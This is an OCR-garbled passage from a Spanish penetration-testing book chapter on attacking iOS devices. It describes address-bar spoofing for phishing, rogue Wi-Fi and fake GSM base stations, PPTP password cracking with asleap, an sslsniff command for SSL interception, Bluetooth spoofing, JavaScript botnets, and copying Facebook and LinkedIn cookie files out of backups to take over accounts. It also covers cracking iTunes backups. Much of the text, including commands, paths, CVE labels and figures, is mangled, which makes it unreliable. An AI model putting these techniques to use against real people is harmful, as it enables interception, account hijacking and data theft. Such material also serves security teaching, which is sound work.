demcnstrated by a file:///etc/pazswd URL in an entity declaration, an "XXE attack,”

6 CVE-2008-1697 309 1005 2009- 2012 BEEIR None Remote Medium Mot None HNene  Comglete

06-19  03-30 required

Webkit bafore 14171, a3 used'in Apple iPhone 05 1.0 through 2.2.1, iPhone 0S for iPod touch 1.1 through 2:2., Safari, and other software,
allows remote attackers to cause a denial of service {memary consumiption ar device reset) via a web page containing an HTMLSeleclElament
object with a large length attribute, refated to-the length praperty of a Select object,

Fig 8.15: Expediente CVE-2010-1797.
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Otra forma de atacar a los usuarios de iOS es mediante los bugs de Mobile Safari que permiten
ocultar la barra de navegacion para hacer ataques de phishing. Con SET, es posible crear diferentes
sitios falsos para, mediante enlaces trucados suplantar silios web. En las diferentes versiones de iOS
se han ido descubriendo formas de hacer esto, por ejemplo, para (OS 5.1 se publico el CV£-2012-
0674 que permitia con un sencillo codigo script ocultar la barra de navegacion de Mobile Safari v
colocar en su lugar una falsa, simulando asf estar situado en otro sitio web, tal y como se ve en la
imagen.

Fesolutionary

Ui rigeed iPad

Fig 8.10: Address Bar Spoofing en iPhone.

Hay que resaltar que, aunque el niimero de exploits disponibles en Metasploit para i0S sea nulo, el
nimero de bugs que se publican en cada version de iOS son muchos, por ejemplo, en iOS 6 se han
solucionado 197 bugs, entre fos que se encuentran el CVE- 2012-3730 descubierto por Angel Prado
para manipular los archivos adjuntos de mensajes de correo electronico en Mail o el CVE-2012-3744
descubierto por pod2g que permite hacer SMS Spoofing en un iPhone.

En definitiva, si el objetivo es un terminal Apple con iOS, lo primero que hay que hacer es averiguar
la version de /0§ en concreto, y a continuacion buscar los exploits pliblicos o los fallos conocidos de
esa version para preparar un ataque a medida.

Atacar las comunicaciones WiFi de dispositivos iOS
Los terminales iOS adolecen de ciertas limitaciones en la gestién de las redes WiFi que los hace
propensos a ataques de por medio de Rogue AP, y Rogue WiFi. Esta inseguridad existe princinalmente
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en la politica de gestion de redes conocidas que realiza este sistema operativo a la hora de conectarse
a una red WiFi. Por defecto, en el momento en que un terminal con sistema operativo iOS tiene
configurada como “activa” la conexion WiFi, el dispositivo intentara conectarse a una red conocida.

Este comportamiento no se puede cambiar, es decir, en el momento en que esté activada Ja conexion
Wibi el dispositivo buscara una red conocida y se conectard a ella. Esta politica de conexién a redes
conocidas es bastante confusa y tiene unos fatlos en cuanto a politica que merece la pena resaltar.

Muchos usyarios confunden el selector que aparece debajo de la lista de redes Wil con un selecior
booleano de conexion automdtica, pero esto no es asi, Este selector sélo tiene utilidad cuando no
hay una ved conocida cerca, en caso de que sf hubiera dicha red, el terminal se conectaria siempre

a ella.
G

A S R R R AT

S Bl R R O E R B S

reguntar &l coneciar

",

Soélo en et caso de que no exista una red conocida en las proximidades, el dispositivo optard por
dos politicas. La primera de ellas mostrard, mediante un cuadro de-dialogo de notificacion que
saldré por encima de cualquier aplicacién que esié activa en ese instante, la lista de las redes en las
proximidades, para que el usuario seleccione la que desea utilizar, En el caso de que no esté activo
ese selector, el usuario deberd situarse en el panel correspondiente a la configuracion de redes Wiffi,
v seleccionarla manualmente en el médulo relacionado con los ajustes.

El problema quc se plantea a continuacion es saber qué redes son las que un dispositivo WiFi tiene
almacenadas en un determinado instante como conocidas, ya que el sislema operativo iOS no las
muestra. Esta lista de redes se almacena un fichero en formato SQLife que se encuentra en la ruta /
private/var/Keychains/keychain-2.db, pero desde el interfaz grafico es imposible consultarlo.

En dispositivos con jailbreak es posible acceder a este fichero e investigarlo pata conocer la lista de
redes existentes. Ademas, para consultar dicha lista junto con las contrasefias de conexion es posible
utilizar alguna herramienta como WiFi Passwords.

El problema no es sélo que se conectara a una red conocida y que el usuario no sabé_ cudles son
estas, sino que tampoco es posible deshacerse de las redes conocidas con facilidad, y& que iQg
s6lo permite borrar una red de este tipo si estd en las proximidades, en caso conlratio, 2.8 1’°§1blc
eliminarlas de la lista, lo que obliga a modificar manualmente el fichero /ce)l'c/7ﬂi’7‘2 {b:Todo esyq
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implica que puede haber una red conocida, a Ja que el dispositivo fue conectado algma vez, y la
proxima vez que la encuentre se conectara. :

¢Cudl es fa politica de eleccion de red a la hora de realizar una conexién? Tras hacer mbiiiples
pruebas, parece que fos dispositivos con i0S, en el caso de que haya mas de una red Wil'i conocida
en las proximidades, el terminal elije la {iltima red a la que haya sido conectado, es decir, parecen
utitizar un sistema de eleccion LiFO (Last In First Out),

Dicho todo esio, para preparar un ataque de Rogue WiFi, a un atacante lo que le hace faita es saber
como el terminal reconoce una red WiFi, para intentar que se conecte  éf mismo, y tal ¥ caine
funcionan, hay una ventaja que puede utilizar el penester. Los dispositivos iOS utilizan i SSID, &5
decir, el nombre de la red WiFi, y la tecnologia, es decir, el protocolo de cifrado v la contrasefia de
conexion para reconocer una red y conectarse a ella.

listo es un problema sério, ya que deberfa utilizarse el ESSID (Extended SSID) para recohiocer [a fed,
y no sélo el nombre. Este ESSID tiene la estructura de una direccion MAC, y sirve para comprobai
si se estd conectando al Access Point correcto, o éste ha sido cambiado. En redes de un solo punto
de acceso, este valor es la MAC del router, pero en redes con roaming es una direccion MAC virtua
compartida por todos.

Como el terminal /0S no valida el ESSID sino el SSID, puede lograrse ficilmente que el dispositivo
se conecle a una falsa red, s6lo porque tenga el mismo nombre y la misma configuracién. Todo
este funcionamiento descrito puede !levar a serios riesgos de seguridad, que pueden ser dirigidos o
aleatorios, 'dependiendo de la estrategia del atacante.

Supmllgaé,e’ una conferencia, un aeropuerto o cualquier lugar con concentracion de personas en las
que puedan existir terminales Apple con sistema operativo i0S. Es probable que muchos de elos
se hayan' conectado alguna vez a una red WiFi abierta, Hlamada Defuult, Free o Public. Todos esos
nombres son muy comunes en espacios piblicos u hoteles, por lo que es probable que muchos
usuarios tengan esa red en su lista de redes conocidas. Si no hay otra red conocida cerca, esos
dispositivos se conectaran automaticamente e intentaran enviar y recibir datos todas las aplicaciones,
que podrian ser interceptadas por el atacante que haya puesto el punto de acceso WiFi falso.

Este mismo ataque puede ser hecho de forma dirigida, por ejemplo, entrc los compafieros de una
empresa, o de establecimientos, como cafeterfas, restaurantes, hoteles. Supongamos un entorno en
el que todos los miembros conocen la contrasefia'de Ja red WiFi. Si uno de ellos quisiera atacar a
otro, podria replicar Ia red WiFi que ambos conocen en otro entorno, donde la victima no espere que
exista esta red, haciendo que el dispositivo se conecte automaticamente a este falso puntc de acceso.

Si el ataque es dirigido, utilizando los médulos de Metasploit dentro de un terminal i05, es posible
acompafiar a la victima e ir charlando con ella mientras nuestros Rogue AP instalado en nuestro
iPhone le ofrece en todo momento la conexion a Internet al iPhone de la victima mediante una
red WiFi Public. El terrinal de la victima se descargara el correo electrénico, los mensajes de
Whatsapp, etc... a través del Rogue AP.
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Atacar las comunicaciones VPN de iOS

Una de las protecciones que tienen los usvarios de iPhone o iPad, es la de conectarse a Internet,
por medio de una VPN, ya que asi, si las comunicaciones son interceptadas, estas no podrén se
descifradas, Sin embargo, las redes VPN en iOS pueden ser atacadas de alguna forma, tal y comgo se'
muestra a continuacion. VT

La primera de las maneras es aprovecharse de los fallos de seguridad descubiertos en el protocol
PPTP (Point 1o Toint Tunneling Protocol). A dia de hoy, si un usuario se conecta a su servidor VP
a través de un Rogue AP que estd grabando todo el trafico, es posible crackear la contrasefia. Estoe
asi debido a las nuevas vulnerabilidades conocidas en la arquitectura PPTP y a que ademds PPTP ng
autentica maquinas, con lo cual es posible enrutar el trafico de una VPN con esta tecnologia a través
de una maquina de grabacidn que capture todo el trafico.

raat@bts Jpentestiuicelessfasleapd | faginap £ hath, ey -n index. key -R §4 TS IFD IR 36901 BE;
CO:16:8ATE9 51 FIIB6ICAIDG6 08196 5101 A9 FRIT0:I0F O 36:83:20:07: 66:56: 7508
asleap 2.2 - actively recover LEAP/PPTP passwords, sjwright@iasborg. coms
hash bytes: 8634
KT hash: 209c6174dad00canbd 223 fe5a o634

password: atdmin e N -
rovt@bt: /pentest/wireless/asleap® J W
ikl

Tig 8.18: Crackeando una password PTPP con asleap en BackTrack.

{
La segunda de las caracteristicas débiles del sistema VPN de iOS es que el terminal, si pierde

conexién a través de la VPN no avisa al usuario, y continfia enviando tréfico sin cifrar, es decir, sin"
utilizar Ia VPN. Si el objetivo estd utilizando un sistema de conexion. VPN robusto, como L2TP/;
{PSec, entonces hay que intentar aprovechar esta circunstancia. A esta caracleristica es posible

sacarle partido haciendo un D.0.S. al servidor VPN para que se caiga la conexidn con el cliente, v
luego continuar capturando el trafico a través del sniffer, esta vez sin cifrar. . i

i

Atacar las comunicaciones BlueTooth de un iQS ,
Las comunicaciones LlueTooth son muy comunes en dispositivos de cercania. En ef mundo de los
terminales iPhone o iPad, son cominmente utilizados con sistemas de telefonia manos libres, o
teclados. El fallo en los terminales iOS es que de fabrica, la gran mayoria de modelos de iPhone y de
Fad tienen la direccién BlueTooth consecutiva de la direccion de Ia tarjeta WiFi,

La direccitn de la tarjeta WiFi se difunde sin ningin tipo de precaucion, ya que er teoria s6lo sirve
para indicar la direccion del terminal. Sin embargo, la direccidn BlueTooth se utiliza como validador
estatico, una vez que dos dispositivos BlueTooth han sido emparejados. Por ejemplo, el terminal
iPhone y el sistema manos libres del coche. '

Si el usuario ha enlazado esos dos elementos, un atacante sélo necesitaria saber cudl es Ia direccién
BlueTooth del iPhone para suplantarla en cualquier otro dispositivo BlueTooth y conectarse al
sistema de manos libres sin ningin tipo de codigo.
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Fig 8.19: Direcciones MAC WiFi y BlueTvoth do wn iPhone.

Atacar las comunicaciones 3G o GPRS de i08§

Una de las formas més habituales que tienen los usuatios de evitar problemas con posibles atacantes
cercanos es trabajar con solo la conexion GPRS 0 3G. Si el objetivo esti trabajando con una conexién
3G o GPRS estard a salvo de los ataques WiFi. Sin embargo, si no ha desactivado la tarjeta WiFi, un
atacante podria aprovecharse del disefio de conexion automatica para crear un Rogue AP al que se
conecte el terminal. Si un dispositivo i0S tiene WiFi, 3G y GRPS, se coneclard primero por la WiFi,
y luego por 3G/GPRS, por lo que sin avisar al usuario comenzaré a enviar el tralico por el Rogue AP,

Si el usuario ha sido suficientemente precavido de ‘desactivar la WiFi, que hace que se ahorre
bateria, que no sea posible detectarle por el espectro inaldmbrico y que no se exponga su direccion
BlueTooth, lo inico que se puede hacer es un ataque con una estacién BTS falsa.

433

Este tipo de ataques esta descrito correctamente en el libro de “Hacking de Comunicaciones Méviles:
GSM/EDGE/GPRS” de David y José, pero basicamente se aprovecha de que una antena de telefonia
cercana de gran potencia, puede anular a las de las operadoras de telefonia mévil cercanas y hacer
que el terminal se conecte a la antena falsa, en lugar de a la operadora real,

IADSH/26/4c)

Fig 8.20: Estructura de ataque man in the middle a comunicaciones GPRS con una BTS falsas.

Capitulo VIII. Metasploit en dispositivos moviles

A diferencia de las redes 3G, la tnica validacion que hace el lerminal a una red GPRS antes de
conectarse es la del nombre, lo que para un atacante suplantar la red de In operadora del iPhone es
tan sencillo como poner el mismo nombre. Algunos teléfonos permiten bloquear el uso de redes
GPRS, pero en el caso de iOS no hay forma de forzar el uso sélo de redes 3G, lo que siempre deja
abierta esta puetta al atacante.

Una vez que se haya conseguido la conexidn a la red falsa GPRS, el atacante puede manipular
tanto el tréfico de voz como de datos, haciendo ataques de man in the middle en GRPS como de
suplantacion de nimeros de llamadas lelefonicas.

Ataques man in the middle en iOS :
Hasta el momento, muchos de los ataques descritos hacen referencia a un esquema de man in the
middle en terminales 0S5, lo que podria serun esquema vélido para rebar informacion y manipular
datos.

En el caso de conexiones sin cifrar, ya sean Hitp (conexiones a webs o webservices), es posible
conseguir mucha informacion de apps usadas por el cliente o el mismo navegador. Ademads una de
las formas mas sencillas de alargar el control de un iPhone sin meter un malware ui tener problemas
con las protecciones de code-signing en iOS consiste en usar Botmels en Javascript,

Este tipo de botuels se aprovechan del esquema de hombre en medio para meter un payload en
todos los ficheros Javascript que carga una pagina web que se va a conectar a un panel de control
para recibir ordenes desde él. La victima quedard infectada mientras que no se botre fa caché del
navegador, y el atacante podr4 robar las pulsaciones de teclado, hacer ataques de phishing o robar
las cookies de sesion de todo lo que pase en el navegador.

Uno de los problemas que surgen en este esquema de hombre en medio es la existencia de conexiones
web con Http-s, que puedan evitar la interceptacion de todo el trafico, ya sea para manipular ficheros
Javascript o para interceptar comunicaciones de cualquier aplicacion.

Sin embargo se pueden probar dos ataques distintos: SSLStrip y SSLSniff, ambos publicados por el
investigador Moxie Malinspike. E| primero de ellos es muy conocido, y su objelivo es entregar la
pagina en HTTP a la victima y ser el atacante el que se conecta a la web en HTTPS. Es decir, engafla
al usuario quitando HTTPS de todas las conexiones. Si el usuario no se percala o la web esta mal
disefiada es muy ficil conseguir que una victima introduzca datos en los formularios.

El segundo de los ataques se basa en una vulnerabilidad que fue parcheada en iOS 4.3.5 con la
validacion de los certificados digitales. Este bug tiene 10 afios y Apple cay6 en él-hasta la citada
version. El atacante utilizara un certificado digital correcto, pero no autorizado para generar nuevos
cerlificados, para generar certificados digitales faisos. Si el cliente no valida las BasicConstraints, es
decir, las limitaciones que tiene el cestificado utilizado, no se daré cuenta de que se estd usando un
certificado digital no autorizado para generar nuevos certificados. Si el navegador de la victima es
inferior a 10§ 4.3.5, se puede utilizar SSLSniff para hacer este alaque con cualquier certificado valido
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y o se mostrard ninguna alerta. El comando de SSLsniff que hay que utilizar para las versiones de
i0)§ vulnerables es:

ssisniff ~a -c [path/to/your/certificate] -f ios -h [httpport] -s {sslport] -w
iphone. log

St el terminal tiene fa versidn i0S 4.3.5, entonces no se pueden utilizar esos certificados, pero si
eres capaz de conseguir los certificados falsos que el hacker irani se creo en Diginotar para Google,
Hotmail, etcétera, podréas utilizarlos para ataques man in the middle, ya que el usuario no puede
revocar las Entidades de confianza manualmente, y fue en /0§ 5 cuando Apple los revoco. Estos
circularon por zonas menos claras de Internet.

Por otro lado, si se usa un certificado falso, el navegador generara una alerta, pero esto no tiene que
ser siempre asi en todas las aplicaciones. Por ejemplo, la herramienta Paypal para iOS, en el afio
2011 no detectaba el uso de un certificado falso en la comunicacidn, y enviaba datos a través de esa
conexidn, algo que tuvo que solucionar.

Ataques de Juice Jacking a iOS

Una de los problemas que tiene iOS es que las tarjetas de memoria no se cifran con el sistema
iPhone Data Protection, con lo que es posible extraer fotos, notas y videos almacenados en ellas, Un
alacante podria, simulando un cargador de bateria en un punto clave, o unos altavoces en un hotel,
robar los datos de los teléfonos que en €l se pinchen, ya que se puede configurar como un disco USB.
Iiste tipo de ataques también se pueden hacer con acceso fisico al dispositivo, pero si puedes lfegar
al terminal, lo mejor es correr con él y sacarle todos los datos en e} laboratorio.

Fig 8.21: Los altavoces en Jas habitaciones de hotel son perfectos para atagues de Juice Jacking

Un atacante podria, simulando un cargador de bateria en un punto clave, o unos altavoces en un
hotel, robar Jos datos de los teléfonos que en él se pinchen, ya que se puede configurar como un disco
USB. Este tipo de ataques también se pueden hacer con acceso fisico al dispositivo, pero si se puede
llegar al terminal, lo mejor es correr con €l y sacarle todos los datos en el laboratorio.

Capitulo VIIL Metasploit en dispositivos méviles SRR m

‘Post-Explotacién: Ataque al backup-de un terminal i0S

Los backups de ux termina) iOS son muy jugosos desde el punto de vista de un atacante. En ellos

se encuentran no sbio datos de las aplicaciones, sino contrasefias de redes Wili, VPN, cuentas de‘
correo electronico, etcétera. El nimero de contrasefiag al Imacenadas en el keychain o Havero de y
iPhone o un iPad es muy alto. Bn el documento publicado por Apple, titulado iOS Security Guide,

es posible ver la lista de contrasefias almacenadas en e dispositivo que estarfan al descubierto si sd
accediese a los datos de un backup.

ltern _ ' Accessrble

WIF! passwords ‘ After first unlock o
Maﬂ accounts After first unlock

Exchar‘qe acm;r;l; T m—— Arter ﬁrs; le;lO(k

VPN 'emﬁcatef& ’ Always, non—m[gratory
‘JPN passwmds After ﬁvst unlock

LDAP CaIDAVEi;dDAV fter first unlock

"TunPs backup When unlocked, nowmigrator);wm
Vc!sgrﬁzjnl . Always

Safari passwords , When unlocked

Blyetooth keys k Always, non-migratory

Applé Push Notification Service Token . Always, non-migratory

iCloud cerdficates and private key Always, nan-migratory

iMessage keys Always, non-fﬁigratory
Cemﬁrates and private keys mstaﬁed by Configuration Proﬁle Always, nan- mlgramry

SIM PIN Always, non- mlgratory

Fig 8.22: Contrasefias almacenas en ef keychain de i0s

Ademds, aunque muchas aplicaciones no almacenen las contiasefias de manera insegura. en el
terminal, en muchos casos es posible acceder a cookies de sesiones abiertas que abren la pueita de”
aplicaciones populares como Facebook, Linkedin o Dropbox, lo que permitiria hacer un robo de la:
cuenta, simplemente con acceder a esos datos en e} backup. c

Por ejemplo en el caso de Facebook y Linkedin, séto hay que buscar los ﬁcheros que se encuentmn
en estas rutas, copiarlos, y pegarlos en esa misma ubicacién de nn dispositivo con Jailbreak donde
esté instalado Facebook o Linkedin,.y acceder a la cuenta del duefio del backup.

- [Linkedin}/Cookies/Cookies.binarycookies

- [Linkedin}/Preferences/com.linkedin. Linkedin.plist

[Facebook]/Cookies/Cookies.binarycookies

- [Facebook]/Preferences/com.linkedin.Linkedin.plist
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Fig 8.23: Coplandu las cookies de la aplicacion Lmkahn de un /S

Conocida la impottancia de los datos de un bakcup de iOS, en Metasploit se aﬁadié'un m(’)clulo de
postexplotacion para extraer desde una sesion los ficheros de un backup de un terminal JOS en un
sistema operativo comprometido. Cuando se ejecuta el module apple_ivs_ backupz éste vaa busca;,‘
en los directorios por defeclo de Apple iTunes si existe algin backup de usuario y si no es asi
devolvers un mensaje de ‘No users found with an iTunes backup directory’.

- o ,
Estos backups se guardan por defecto en las siguientes rutas, pero hay que tencr en cuenta que el
usuario puede decidir cambiar la ubicacién de las mismas, lo que implicaria realizar una bisqueda
manual de dichos backups en el sistema, algo que puede ser tedioso, pero mas que recomendable.

Mac 05 X
Wwindaws?7

Fig 8.24: Rutas donde se almacena localmente los backups de iOS en Windows y OSX

Siel backup es de una version hasta iOS 4.x, entonces se puede utilizarel m.édulol de Post—explotaci(’?n
de post/multi/gather/apple_ios_backupapple_ios_backup que viene en el repoys:tono de M(j‘i’asp!ml.
Sin embargo, si existe un backup pero es de versidn iOS 5.X entonces dard una excepeion y no
exiraera ningn fichero. Para solucionarlo, se ha parcheado el médulo para que FmTcxone también
con los baclups de iOS 5, y para que esto sea asi hay que descargar los ficheros del modulo adaptado
vy situarlos como sigue:

- Descargar apple_ios_backup.rb desde la direccion hllp://seczu.'itylearrz.nel/wp—c.omcnl/

uploads/tools/msflapple_ios_backup.rb 'y ponerlo en el directorio: lopt/metasploit/msf3/

modules/post/multi/gather/

- Descargar apple_backup_manifestdb.rb desde la direccion http:/isecuritylearn.net/

wp-content/uploads/iools/msflapple_backup_manifestdb.rb y ponerlo en el directorio Jopt/

meiasploii/msf3/lib/rex/parser/

Cuando el médulo encuentra un backup de Apple iTunes, extrae todos los ficheros y los sitt’rf\ en @
ruta ~/.msf4/loot/ como ficheros de base de datos .db. Sin embargo, si el hackup del usuario estd
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cifrado todos los ficheros serén volcados de manera cifrada, por lo que si se quieren extraer los datos
primero se debe crackear el bac/cup de iTunes.

Es por etlo que si ras hacer la extraccién de algunos ficheros, estos aparecen cifrados, lo mejor es
voicar el hackup completo, que pude tener varios Gigabytes de tamafio, y procesarlo en focal. S
liene contrasefia de Apple iTunes, es decir, una password generada por la aplicacion iTunes para ld
copia de seguiidad, primero habria que utilizar alguna herramienta como /G's Pussword Recover v
Suite. Hste es un procese ienlo, asi que si fos datos son de vital importancia es posible que ser
necesatia la ayuda de algin sistema de cracbng de passwords distribuido.

« BlackBerry S.x & 6,x had:ups'

+ TruaCrypt volumes | nited support );
« WPAIWPAZ handshakes,

You can find more information abeut this program at developer's website.

tain fastures are:

« Low jeval hand written assembler CPU optimizations with ol modern intruction sets support (AVX, XOP, AES- Hl), s

+ Suppast For wide range of GPUS - NVIDIA and AMD ones; 1
; » WPA-PIMK generator mode can be used to create precompute tables for known S5IDs making further attacks much i

aster; s

+ Several types ar attacks supported - brute-force end dictionary based ones;

+ Automated password recovery with predefineduser-defined scenarios;

+ User-dafined seis of res for dictionary attacks;

* Supports Unicode and ANSI dictionarles,

File: CiUsers\ar arnasﬂAggDataiRna_nurgjngme -
+1 Computer\tohileSynct 4196131 865773392755 14691 80552c8031 a2c05 4 .plist -~ SiE
| Typs: Appis@i0s 4, fo X badqu : |
Pratection: Apple 105 4.x/5.x backup, PBKDF2/AES
| Totat pas.,wards to pmcess 186.843.979

Fig 8.25: Averiguando la password de un backup de iTunes con IGPRS

Una vez que el backup esté descifrado, el siguiente paso seria averiguar el passcode del usuario
con el que estan cifrados los datos del mismo. Para ello se pueden utilizar las herramientas de
iphone-dataprolection que ayudardn a crackear el passcode y a volcar el keychain del backup.
Dichas herramientas estan disponibles en la siguiente direccion: htip.//code. google.com/p/iphone-
dataprotection/

Esto también puede hacerse con herramientas comerciales como Elcomsoft Phone Password
Breaker. Con Jas herramientas de ElcomSoft no sélo se rompe el passcode y es posible ver todos los
ficheros del backup, sino que en la Gitima version, tras sacar la contrasefia del Apple 1D del keychain,
se conectan a Apple iCloud para analizar el backup constantemente.



Metasploit para Pentesters

) Vladimir Katalov:

< rE A A

Updaled Mch 2012 10: 2% 3 snapshotls s)
Sizat 671,8 4B

vlacﬁnwslf’hone .PhoneBi S R

Updated: Iwnvome h 2011 08 15; Imaps lou,s‘
Slze 42230 MB

Viadimir's Phore 4S Pho i
it R

Updated: May, 112012 18 32, .,mp hot{e)
Size: 149459 M8

RS e re e SR

xg 8. 26 Flwmsoft analiza los backnps de iOS en iCloud

liste proceso permitiria a un atacante descargar los cambios en iCloud mientras el duefio de! terminal
iOS no sabe nt que ha sido vulnerado, ya que el backup se hace automaticamenie en la nube y el
atacante es alli donde lo analiza.

4, Conclusiones

En este capftulo se han presentado los puntos débiles de la arquitectura de los dispositivos Apple
con sistema operativo /0S. Como se ha podido ver, Metasploit no dispone de muchas herramientas
para poder afacar estos sistemas operativos (sélo cuenta con un mddulo de postexplotacion para
buscar backups de iOS'y no esta muy perfeccionado). Ademds el niimero de exploits pitblicos es muy
pequefio para el sistema operativo, y no muy alto para las aplicaciones que vienen de serie.

; Sin embargo, la arquitectura de este sistema operativo deja espacios de ataque a las comunicaciones
WiR, GPRS, VPNs, BlueTooth, Mail o Sistemas SMS que, haciendo uso de los médulos de
Mcrasplon pueden ser atacadas desde el framework.

Por otro lado hay que tener presente que, a diferencia de Android donde no es posible instalar
Metasploit de forma nativa y hay que meter una distribucién Linux en el terminal, en los equipos
{08 con jailbreak st que se puede utilizar tanto el framework de Metasploit, como S.E.T. ¢ incluso
Fasi-Track, lo que ayudaria a un pentester a atacar las oficinas in situ.

Ademds, muchos usuarios de /OS realizan un proceso de jailbreak o son descuidados con el lugar en
el cual conectan sus dispositivos, por lo que es posible disefiar malware a medida o realizar ataques
de JuiceJacking.
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